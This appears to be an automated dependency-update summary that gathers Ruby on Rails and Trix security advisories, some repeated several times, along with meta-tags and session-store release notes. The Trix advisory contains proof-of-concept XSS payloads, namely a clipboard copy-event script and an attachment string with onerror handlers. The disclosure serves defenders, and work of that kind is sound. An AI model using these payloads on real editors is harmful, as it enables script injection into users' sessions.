🚨 Rails has possible XSS Vulnerability in Action Controller

Possible XSS Vulnerability in Action Controller

There is a possible XSS vulnerability when using the translation helpers
(translate, t, etc) in Action Controller. This vulnerability has been
assigned the CVE identifier CVE-2024-26143.

Versions Affected: >= 7.0.0.
Not affected: < 7.0.0
Fixed Versions: 7.1.3.1, 7.0.8.1

Impact

Applications using translation methods like translate, or t on a
controller, with a key ending in "_html", a :default key which contains
untrusted user input, and the resulting string is used in a view, may be
susceptible to an XSS vulnerability.

For example, impacted code will look something like this:

class ArticlesController < ApplicationController
  def show  
    @message = t("message_html", default: untrusted_input)
    # The `show` template displays the contents of `@message`
  end
end

To reiterate the pre-conditions, applications must:

• Use a translation function from a controller (i.e. not I18n.t, or t from
  a view)
• Use a key that ends in _html
• Use a default value where the default value is untrusted and unescaped input
• Send the text to the victim (whether that's part of a template, or a
  render call)

All users running an affected release should either upgrade or use one of the
workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

• 7-0-translate-xss.patch - Patch for 7.0 series
• 7-1-translate-xss.patch - Patch for 7.1 series

Credits

Thanks to ooooooo_q for the patch and fix!

🚨 Rails has possible XSS Vulnerability in Action Controller

Possible XSS Vulnerability in Action Controller

There is a possible XSS vulnerability when using the translation helpers
(translate, t, etc) in Action Controller. This vulnerability has been
assigned the CVE identifier CVE-2024-26143.

Versions Affected: >= 7.0.0.
Not affected: < 7.0.0
Fixed Versions: 7.1.3.1, 7.0.8.1

Impact

Applications using translation methods like translate, or t on a
controller, with a key ending in "_html", a :default key which contains
untrusted user input, and the resulting string is used in a view, may be
susceptible to an XSS vulnerability.

For example, impacted code will look something like this:

class ArticlesController < ApplicationController
  def show  
    @message = t("message_html", default: untrusted_input)
    # The `show` template displays the contents of `@message`
  end
end

To reiterate the pre-conditions, applications must:

• Use a translation function from a controller (i.e. not I18n.t, or t from
  a view)
• Use a key that ends in _html
• Use a default value where the default value is untrusted and unescaped input
• Send the text to the victim (whether that's part of a template, or a
  render call)

All users running an affected release should either upgrade or use one of the
workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

• 7-0-translate-xss.patch - Patch for 7.0 series
• 7-1-translate-xss.patch - Patch for 7.1 series

Credits

Thanks to ooooooo_q for the patch and fix!

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

2.22.1

Changes:

• Removed meta-tags.gemspec and Rakefile from the gem package (312)
• Use GitHub actions to build, sign and publish the gem (314, 315, 316)

What's Changed

• Use standardrb/standard-ruby-action@v1 action instead of custom rake task execution by @kpumuk in #309
• Bump paambaati/codeclimate-action from 8 to 9 by @dependabot in #310
• Update rubocop-rails requirement from ~> 2.25.0 to ~> 2.26.0 by @dependabot in #311
• Remove meta-tags.gemspec and Rakefile from the gem package by @kpumuk in #312
• Fixed missing commit list links in the Changelog file by @kpumuk in #313
• Added release workflow to automatically publish gems by @kpumuk in #314
• Moved gem private key to secrets to avoid secrets leaking by @kpumuk in #315
• Create a GitHub release after RubyGems release by @kpumuk in #316

Full Changelog: v2.22.0...v2.22.1

2.22.0

Changes:

• Added support for Ruby on Rails 7.2 (303)

2.21.0

Bugfixes:

• Removed a duplicated title_tag_attributes configuration from the initializer (287).

Changes:

• Ruby older than 3.0 is no longer supported.
• Added truncate_on_natural_separator configuration option to the initializer (287).

2.20.0

Features:

• Introduced truncate_on_natural_separator configuration option to change or disable truncation on natural separator (283).
• Introduced title_tag_attributes configuration option to add HTML attributes to the title tag (284).

Changes:

• Switched builds from CircleCI to Github Actions (273)
• Ruby on Rails < 6.0 is no longer supported.

2.19.0

Changes:

• Switched code style from custom rules to Standard (246).
• Switched from testing Rails using environment variables to Appraisal gem (251).
• Ruby 2.7 is minimum supported version (257)
• Added support for Rails 7.1 (267)

2.18.0

Changes:

• Fallback to site name when title is empty in mirrored tags (243)

2.17.0

Changes:

• Separate RBS files to _internal directory to avoid exposing RBS (237)
• Added Ruby 3.1 to supported versions, Ruby 2.6 is the minimum supported version (235)

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by more commits than we can show here.

0.11.6

• Fix secure session using private_id
• Support Rails 8

0.11.5 (from changelog)

Changed

• Support redis 5
• Actionpack more than or equal to 6

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by 10 commits:

• Version 0.11.6 (#152)
• Support Rails 8 (#151)
• Fix secure session using private_id (#146)
• Allow actionpack 5.2.4.1 (#144)
• Release v0.11.5
• support for redis-rb v5 (#137)
• README: Use keyword arguments in examples (#132)
• CI: Use latest checkout action (#131)
• CI: Add Ruby 3.0, 3.1 to matrix (#130)
• Make actionpack dependency more than or equal to 6 (#129)

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

🚨 Possible ReDoS vulnerability in block_format in Action Mailer

There is a possible ReDoS vulnerability in the block_format helper in Action Mailer. This vulnerability has been assigned the CVE identifier CVE-2024-47889.

Impact

Carefully crafted text can cause the block_format helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 requires Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling the block_format helper or upgrade to Ruby 3.2

Credits

Thanks to yuki_osaki for the report!

🚨 Possible ReDoS vulnerability in block_format in Action Mailer

There is a possible ReDoS vulnerability in the block_format helper in Action Mailer. This vulnerability has been assigned the CVE identifier CVE-2024-47889.

Impact

Carefully crafted text can cause the block_format helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 requires Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling the block_format helper or upgrade to Ruby 3.2

Credits

Thanks to yuki_osaki for the report!

🚨 Possible ReDoS vulnerability in block_format in Action Mailer

There is a possible ReDoS vulnerability in the block_format helper in Action Mailer. This vulnerability has been assigned the CVE identifier CVE-2024-47889.

Impact

Carefully crafted text can cause the block_format helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 requires Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling the block_format helper or upgrade to Ruby 3.2

Credits

Thanks to yuki_osaki for the report!

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

🚨 Possible Content Security Policy bypass in Action Dispatch

There is a possible Cross Site Scripting (XSS) vulnerability in the content_security_policy helper in Action Pack.

Impact

Applications which set Content-Security-Policy (CSP) headers dynamically from untrusted user input may be vulnerable to carefully crafted inputs being able to inject new directives into the CSP. This could lead to a bypass of the CSP and its protection against XSS and other attacks.

Releases

The fixed releases are available at the normal locations.

Workarounds

Applications can avoid setting CSP headers dynamically from untrusted input, or can validate/sanitize that input.

Credits

Thanks to ryotak for the report!

🚨 Possible Content Security Policy bypass in Action Dispatch

There is a possible Cross Site Scripting (XSS) vulnerability in the content_security_policy helper in Action Pack.

Impact

Applications which set Content-Security-Policy (CSP) headers dynamically from untrusted user input may be vulnerable to carefully crafted inputs being able to inject new directives into the CSP. This could lead to a bypass of the CSP and its protection against XSS and other attacks.

Releases

The fixed releases are available at the normal locations.

Workarounds

Applications can avoid setting CSP headers dynamically from untrusted input, or can validate/sanitize that input.

Credits

Thanks to ryotak for the report!

🚨 Possible Content Security Policy bypass in Action Dispatch

There is a possible Cross Site Scripting (XSS) vulnerability in the content_security_policy helper in Action Pack.

Impact

Applications which set Content-Security-Policy (CSP) headers dynamically from untrusted user input may be vulnerable to carefully crafted inputs being able to inject new directives into the CSP. This could lead to a bypass of the CSP and its protection against XSS and other attacks.

Releases

The fixed releases are available at the normal locations.

Workarounds

Applications can avoid setting CSP headers dynamically from untrusted input, or can validate/sanitize that input.

Credits

Thanks to ryotak for the report!

🚨 Possible Content Security Policy bypass in Action Dispatch

There is a possible Cross Site Scripting (XSS) vulnerability in the content_security_policy helper in Action Pack.

Impact

Applications which set Content-Security-Policy (CSP) headers dynamically from untrusted user input may be vulnerable to carefully crafted inputs being able to inject new directives into the CSP. This could lead to a bypass of the CSP and its protection against XSS and other attacks.

Releases

The fixed releases are available at the normal locations.

Workarounds

Applications can avoid setting CSP headers dynamically from untrusted input, or can validate/sanitize that input.

Credits

Thanks to ryotak for the report!

🚨 Possible ReDoS vulnerability in HTTP Token authentication in Action Controller

There is a possible ReDoS vulnerability in Action Controller's HTTP Token authentication. This vulnerability has been assigned the CVE identifier CVE-2024-47887.

Impact

For applications using HTTP Token authentication via authenticate_or_request_with_http_token or similar, a carefully crafted header may cause header parsing to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for reporting

🚨 Possible ReDoS vulnerability in query parameter filtering in Action Dispatch

There is a possible ReDoS vulnerability in the query parameter filtering routines of Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2024-41128.

Impact

Carefully crafted query parameters can cause query parameter filtering to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for the report and patches!

🚨 Possible ReDoS vulnerability in HTTP Token authentication in Action Controller

There is a possible ReDoS vulnerability in Action Controller's HTTP Token authentication. This vulnerability has been assigned the CVE identifier CVE-2024-47887.

Impact

For applications using HTTP Token authentication via authenticate_or_request_with_http_token or similar, a carefully crafted header may cause header parsing to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for reporting

🚨 Possible ReDoS vulnerability in query parameter filtering in Action Dispatch

There is a possible ReDoS vulnerability in the query parameter filtering routines of Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2024-41128.

Impact

Carefully crafted query parameters can cause query parameter filtering to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for the report and patches!

🚨 Possible ReDoS vulnerability in HTTP Token authentication in Action Controller

There is a possible ReDoS vulnerability in Action Controller's HTTP Token authentication. This vulnerability has been assigned the CVE identifier CVE-2024-47887.

Impact

For applications using HTTP Token authentication via authenticate_or_request_with_http_token or similar, a carefully crafted header may cause header parsing to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for reporting

🚨 Possible ReDoS vulnerability in query parameter filtering in Action Dispatch

There is a possible ReDoS vulnerability in the query parameter filtering routines of Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2024-41128.

Impact

Carefully crafted query parameters can cause query parameter filtering to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for the report and patches!

🚨 Missing security headers in Action Pack on non-HTML responses

Permissions-Policy is Only Served on HTML Content-Type

The application configurable Permissions-Policy is only served on responses
with an HTML related Content-Type.

This has been assigned the CVE identifier CVE-2024-28103.

Versions Affected: >= 6.1.0
Not affected: < 6.1.0
Fixed Versions: 6.1.7.8, 7.0.8.4, and 7.1.3.4

Impact

Responses with a non-HTML Content-Type are not serving the configured Permissions-Policy. There are certain non-HTML Content-Types that would benefit from having the Permissions-Policy enforced.

Releases

The fixed releases are available at the normal locations.

Workarounds

N/A

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the supported release series in accordance with our
maintenance policy
regarding security issues. They are in git-am format and consist of a
single changeset.

• 6-1-include-permissions-policy-header-on-non-html.patch - Patch for 6.1 series
• 7-0-include-permissions-policy-header-on-non-html.patch - Patch for 7.0 series
• 7-1-include-permissions-policy-header-on-non-html.patch - Patch for 7.1 series

Credits

Thank you shinkbr for reporting this!

🚨 Missing security headers in Action Pack on non-HTML responses

Permissions-Policy is Only Served on HTML Content-Type

The application configurable Permissions-Policy is only served on responses
with an HTML related Content-Type.

This has been assigned the CVE identifier CVE-2024-28103.

Versions Affected: >= 6.1.0
Not affected: < 6.1.0
Fixed Versions: 6.1.7.8, 7.0.8.4, and 7.1.3.4

Impact

Responses with a non-HTML Content-Type are not serving the configured Permissions-Policy. There are certain non-HTML Content-Types that would benefit from having the Permissions-Policy enforced.

Releases

The fixed releases are available at the normal locations.

Workarounds

N/A

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the supported release series in accordance with our
maintenance policy
regarding security issues. They are in git-am format and consist of a
single changeset.

• 6-1-include-permissions-policy-header-on-non-html.patch - Patch for 6.1 series
• 7-0-include-permissions-policy-header-on-non-html.patch - Patch for 7.0 series
• 7-1-include-permissions-policy-header-on-non-html.patch - Patch for 7.1 series

Credits

Thank you shinkbr for reporting this!

🚨 Rails has possible XSS Vulnerability in Action Controller

Possible XSS Vulnerability in Action Controller

There is a possible XSS vulnerability when using the translation helpers
(translate, t, etc) in Action Controller. This vulnerability has been
assigned the CVE identifier CVE-2024-26143.

Versions Affected: >= 7.0.0.
Not affected: < 7.0.0
Fixed Versions: 7.1.3.1, 7.0.8.1

Impact

Applications using translation methods like translate, or t on a
controller, with a key ending in "_html", a :default key which contains
untrusted user input, and the resulting string is used in a view, may be
susceptible to an XSS vulnerability.

For example, impacted code will look something like this:

class ArticlesController < ApplicationController
  def show  
    @message = t("message_html", default: untrusted_input)
    # The `show` template displays the contents of `@message`
  end
end

To reiterate the pre-conditions, applications must:

• Use a translation function from a controller (i.e. not I18n.t, or t from
  a view)
• Use a key that ends in _html
• Use a default value where the default value is untrusted and unescaped input
• Send the text to the victim (whether that's part of a template, or a
  render call)

All users running an affected release should either upgrade or use one of the
workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

• 7-0-translate-xss.patch - Patch for 7.0 series
• 7-1-translate-xss.patch - Patch for 7.1 series

Credits

Thanks to ooooooo_q for the patch and fix!

🚨 Rails has possible ReDoS vulnerability in Accept header parsing in Action Dispatch

Possible ReDoS vulnerability in Accept header parsing in Action Dispatch

There is a possible ReDoS vulnerability in the Accept header parsing routines
of Action Dispatch. This vulnerability has been assigned the CVE identifier
CVE-2024-26142.

Versions Affected: >= 7.1.0, < 7.1.3.1
Not affected: < 7.1.0
Fixed Versions: 7.1.3.1

Impact

Carefully crafted Accept headers can cause Accept header parsing in Action
Dispatch to take an unexpected amount of time, possibly resulting in a DoS
vulnerability. All users running an affected release should either upgrade or
use one of the workarounds immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby
3.2 or newer are unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

• 7-1-accept-redox.patch - Patch for 7.1 series

Credits

Thanks svalkanov for the report and patch!

🚨 Rails has possible XSS Vulnerability in Action Controller

Possible XSS Vulnerability in Action Controller

There is a possible XSS vulnerability when using the translation helpers
(translate, t, etc) in Action Controller. This vulnerability has been
assigned the CVE identifier CVE-2024-26143.

Versions Affected: >= 7.0.0.
Not affected: < 7.0.0
Fixed Versions: 7.1.3.1, 7.0.8.1

Impact

Applications using translation methods like translate, or t on a
controller, with a key ending in "_html", a :default key which contains
untrusted user input, and the resulting string is used in a view, may be
susceptible to an XSS vulnerability.

For example, impacted code will look something like this:

class ArticlesController < ApplicationController
  def show  
    @message = t("message_html", default: untrusted_input)
    # The `show` template displays the contents of `@message`
  end
end

To reiterate the pre-conditions, applications must:

• Use a translation function from a controller (i.e. not I18n.t, or t from
  a view)
• Use a key that ends in _html
• Use a default value where the default value is untrusted and unescaped input
• Send the text to the victim (whether that's part of a template, or a
  render call)

All users running an affected release should either upgrade or use one of the
workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

• 7-0-translate-xss.patch - Patch for 7.0 series
• 7-1-translate-xss.patch - Patch for 7.1 series

Credits

Thanks to ooooooo_q for the patch and fix!

🚨 Actionpack has possible cross-site scripting vulnerability via User Supplied Values to redirect_to

The redirect_to method in Rails allows provided values to contain characters which are not legal in an HTTP header value. This results in the potential for downstream services which enforce RFC compliance on HTTP response headers to remove the assigned Location header. This vulnerability has been assigned the CVE identifier CVE-2023-28362.

Versions Affected: All. Not affected: None Fixed Versions: 7.0.5.1, 6.1.7.4

Impact

This introduces the potential for a Cross-site-scripting (XSS) payload to be delivered on the now static redirection page. Note that this both requires user interaction and for a Rails app to be configured to allow redirects to external hosts (defaults to false in Rails >= 7.0.x).

Releases

The FIXED releases are available at the normal locations.

Workarounds

Avoid providing user supplied URLs with arbitrary schemes to the redirect_to method.

🚨 ReDoS based DoS vulnerability in Action Dispatch

There is a possible regular expression based DoS vulnerability in Action Dispatch related to the If-None-Match header. This vulnerability has been assigned the CVE identifier CVE-2023-22795.

Versions Affected: All Not affected: None Fixed Versions: 5.2.8.15 (Rails LTS), 6.1.7.1, 7.0.4.1

Impact

A specially crafted HTTP If-None-Match header can cause the regular expression engine to enter a state of catastrophic backtracking, when on a version of Ruby below 3.2.0. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

We recommend that all users upgrade to one of the FIXED versions. In the meantime, users can mitigate this vulnerability by using a load balancer or other device to filter out malicious If-None-Match headers before they reach the application.

Users on Ruby 3.2.0 or greater are not affected by this vulnerability.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

6-1-Avoid-regex-backtracking-on-If-None-Match-header.patch - Patch for 6.1 series
7-0-Avoid-regex-backtracking-on-If-None-Match-header.patch - Patch for 7.0 series

Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

🚨 ReDoS based DoS vulnerability in Action Dispatch

There is a possible regular expression based DoS vulnerability in Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2023-22792.

Versions Affected: >= 3.0.0 Not affected: < 3.0.0 Fixed Versions: 5.2.8.15 (Rails LTS), 6.1.7.1, 7.0.4.1
Impact

Specially crafted cookies, in combination with a specially crafted X_FORWARDED_HOST header can cause the regular expression engine to enter a state of catastrophic backtracking. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

We recommend that all users upgrade to one of the FIXED versions. In the meantime, users can mitigate this vulnerability by using a load balancer or other device to filter out malicious X_FORWARDED_HOST headers before they reach the application.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

6-1-Use-string-split-instead-of-regex-for-domain-parts.patch - Patch for 6.1 series
7-0-Use-string-split-instead-of-regex-for-domain-parts.patch - Patch for 7.0 series

Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

https://rubyonrails.org/2023/1/17/Rails-Versions-6-0-6-1-6-1-7-1-7-0-4-1-have-been-released

🚨 Open Redirect Vulnerability in Action Pack

There is a vulnerability in Action Controller’s redirect_to. This vulnerability has been assigned the CVE identifier CVE-2023-22797.

Versions Affected: >= 7.0.0 Not affected: < 7.0.0 Fixed Versions: 7.0.4.1
Impact

There is a possible open redirect when using the redirect_to helper with untrusted user input.

Vulnerable code will look like this:

redirect_to(params[:some_param])

Rails 7.0 introduced protection against open redirects from calling redirect_to with untrusted user input. In prior versions the developer was fully responsible for only providing trusted input. However the check introduced could be bypassed by a carefully crafted URL.

All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

7-0-Fix-sec-issue-with-_url_host_allowed.patch - Patch for 7.0 series

Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

🚨 Possible ReDoS vulnerability in plain_text_for_blockquote_node in Action Text

There is a possible ReDoS vulnerability in the plain_text_for_blockquote_node helper in Action Text. This vulnerability has been assigned the CVE identifier CVE-2024-47888.

Impact

Carefully crafted text can cause the plain_text_for_blockquote_node helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling plain_text_for_blockquote_node or upgrade to Ruby 3.2

Credits

Thanks to ooooooo_q for the report!

🚨 Possible ReDoS vulnerability in plain_text_for_blockquote_node in Action Text

There is a possible ReDoS vulnerability in the plain_text_for_blockquote_node helper in Action Text. This vulnerability has been assigned the CVE identifier CVE-2024-47888.

Impact

Carefully crafted text can cause the plain_text_for_blockquote_node helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling plain_text_for_blockquote_node or upgrade to Ruby 3.2

Credits

Thanks to ooooooo_q for the report!

🚨 Possible ReDoS vulnerability in plain_text_for_blockquote_node in Action Text

There is a possible ReDoS vulnerability in the plain_text_for_blockquote_node helper in Action Text. This vulnerability has been assigned the CVE identifier CVE-2024-47888.

Impact

Carefully crafted text can cause the plain_text_for_blockquote_node helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling plain_text_for_blockquote_node or upgrade to Ruby 3.2

Credits

Thanks to ooooooo_q for the report!

🚨 ActionText ContentAttachment can Contain Unsanitized HTML

Instances of ActionText::Attachable::ContentAttachment included within a rich_text_area tag could potentially contain unsanitized HTML.

This has been assigned the CVE identifier CVE-2024-32464.

Versions Affected: >= 7.1.0
Not affected: < 7.1.0
Fixed Versions: 7.1.3.4

Impact

This could lead to a potential cross site scripting issue within the Trix editor.

Releases

The fixed releases are available at the normal locations.

Workarounds

N/A

Patches

To aid users who aren't able to upgrade immediately we have provided patches for the supported release series in accordance with our maintenance policy regarding security issues. They are in git-am format and consist of a single changeset.

• action_text_content_attachment_xss_7_1_stable.patch - Patch for 7.1 series

Credits

Thank you ooooooo_q for reporting this!

🚨 Trix Editor Arbitrary Code Execution Vulnerability

The Trix editor, versions prior to 2.1.1, is vulnerable to arbitrary code execution when copying and pasting content from the web or other documents with markup into the editor. The vulnerability stems from improper sanitization of pasted content, allowing an attacker to embed malicious scripts which are executed within the context of the application.

Vulnerable Versions:

• 1.x series up to and including 1.3.1
• 2.x series up to and including 2.1.0

Fixed Versions:

• v1.3.2
• v2.1.1

Vector:

• Bug 1: When copying content manipulated by a script, such as:

document.addEventListener('copy', function(e){
  e.clipboardData.setData('text/html', '<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>');
  e.preventDefault();
});

and pasting into the Trix editor, the script within the content is executed.

• Bug 2: Similar execution occurs with content structured as:

document.write(`copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html&quot;,&quot;content&quot;:&quot;&lt;img src=1 onerror=alert(101)&gt;HELLO123&quot;}"></div>me`);

Impact:

An attacker could exploit these vulnerabilities to execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed.

Remediation:

Update Recommendation: Users should upgrade to Trix editor version 2.1.1 or later, which incorporates proper sanitization of input from copied content.

CSP Enhancement: Additionally, enhancing the Content Security Policy (CSP) to disallow inline scripts can significantly mitigate the risk of such vulnerabilities. Set CSP policies such as script-src 'self' to ensure that only scripts hosted on the same origin are executed, and explicitly prohibit inline scripts using script-src-elem.

References:

• https://github.com/basecamp/trix/releases/tag/v2.1.1
• basecamp/trix#1147
• basecamp/trix#1149
• basecamp/trix#1153

Credit: These issues were reported by security researchers loknop and pinpie.

🚨 Trix Editor Arbitrary Code Execution Vulnerability

The Trix editor, versions prior to 2.1.1, is vulnerable to arbitrary code execution when copying and pasting content from the web or other documents with markup into the editor. The vulnerability stems from improper sanitization of pasted content, allowing an attacker to embed malicious scripts which are executed within the context of the application.

Vulnerable Versions:

• 1.x series up to and including 1.3.1
• 2.x series up to and including 2.1.0

Fixed Versions:

• v1.3.2
• v2.1.1

Vector:

• Bug 1: When copying content manipulated by a script, such as:

document.addEventListener('copy', function(e){
  e.clipboardData.setData('text/html', '<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>');
  e.preventDefault();
});

and pasting into the Trix editor, the script within the content is executed.

• Bug 2: Similar execution occurs with content structured as:

document.write(`copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html&quot;,&quot;content&quot;:&quot;&lt;img src=1 onerror=alert(101)&gt;HELLO123&quot;}"></div>me`);

Impact:

An attacker could exploit these vulnerabilities to execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed.

Remediation:

Update Recommendation: Users should upgrade to Trix editor version 2.1.1 or later, which incorporates proper sanitization of input from copied content.

CSP Enhancement: Additionally, enhancing the Content Security Policy (CSP) to disallow inline scripts can significantly mitigate the risk of such vulnerabilities. Set CSP policies such as script-src 'self' to ensure that only scripts hosted on the same origin are executed, and explicitly prohibit inline scripts using script-src-elem.

References:

• https://github.com/basecamp/trix/releases/tag/v2.1.1
• basecamp/trix#1147
• basecamp/trix#1149
• basecamp/trix#1153

Credit: These issues were reported by security researchers loknop and pinpie.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

🚨 rails-ujs vulnerable to DOM Based Cross-site Scripting contenteditable HTML Elements

NOTE: rails-ujs is part of Rails/actionview since 5.1.0.

There is a potential DOM based cross-site scripting issue in rails-ujs
which leverages the Clipboard API to target HTML elements that are
assigned the contenteditable attribute. This has the potential to
occur when pasting malicious HTML content from the clipboard that
includes a data-method, data-remote or data-disable-with attribute.

This vulnerability has been assigned the CVE identifier CVE-2023-23913.

Not affected: < 5.1.0
Versions Affected: >= 5.1.0
Fixed Versions: 6.1.7.3, 7.0.4.3

Impact
If the specified malicious HTML clipboard content is provided to a
contenteditable element, this could result in the arbitrary execution
of javascript on the origin in question.

Releases
The FIXED releases are available at the normal locations.

Workarounds
We recommend that all users upgrade to one of the FIXED versions.
In the meantime, users can attempt to mitigate this vulnerability
by removing the contenteditable attribute from elements in pages
that rails-ujs will interact with.

Patches
To aid users who aren’t able to upgrade immediately we have provided
